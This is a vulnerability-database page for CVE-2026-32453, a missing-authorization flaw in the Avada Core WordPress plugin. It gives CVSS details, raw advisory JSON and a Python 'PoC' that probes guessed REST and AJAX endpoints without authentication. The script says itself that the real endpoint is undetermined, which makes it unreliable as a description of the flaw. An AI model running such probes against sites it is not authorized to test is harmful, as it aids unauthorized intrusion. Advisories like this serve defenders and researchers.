Security Vulnerability Report
中文
CVE-2026-32453 CVSS 5.3 MEDIUM

CVE-2026-32453

Published: 2026-03-13 19:55:07
Last Modified: 2026-04-22 21:30:26

Description

Missing Authorization vulnerability in ThemeFusion Avada Core fusion-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Avada Core: from n/a through < 5.15.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Avada Core < 5.15.0
ThemeFusion Avada Core fusion-core (所有低于5.15.0的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-32453 PoC - Avada Core Missing Authorization # Target: WordPress site with Avada theme/plugin target_url = "http://target-site.com" # Identify vulnerable endpoint (example pattern) # The actual vulnerable endpoint needs to be determined based on the specific version vulnerable_endpoints = [ "/wp-json/fusion/v1/config", "/wp-admin/admin-ajax.php", "/?rest_route=/fusion/v1/settings" ] def check_vulnerability(url): """Check if the target is vulnerable to CVE-2026-32453""" for endpoint in vulnerable_endpoints: full_url = url.rstrip('/') + endpoint # Send request without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json' } try: # Try to access the endpoint without any auth tokens response = requests.get(full_url, headers=headers, timeout=10, verify=False) # If we get a successful response with data (not 401/403), vulnerability exists if response.status_code == 200 and 'fusion' in response.text.lower(): print(f"[+] Potential vulnerability found at: {full_url}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response preview: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {full_url}: {e}") return False # Execute vulnerability check if __name__ == "__main__": print("[*] CVE-2026-32453 Avada Core Authorization Bypass PoC") print("[*] Target:", target_url) result = check_vulnerability(target_url) if result: print("[!] Target appears to be vulnerable") else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32453", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:06.883", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ThemeFusion Avada Core fusion-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Avada Core: from n/a through < 5.15.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en ThemeFusion Avada Core fusion-core permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Avada Core: desde n/a hasta &lt; 5.15.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fusion-core/vulnerability/wordpress-avada-core-plugin-5-15-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}